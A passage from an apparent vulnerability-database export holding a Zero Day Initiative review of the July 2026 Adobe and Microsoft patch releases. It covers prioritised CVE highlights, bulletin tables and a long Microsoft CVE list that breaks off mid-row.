\u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:07.493255Z"}, {"uuid": "bd302928-eaab-4927-a151-76f71d9d190e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  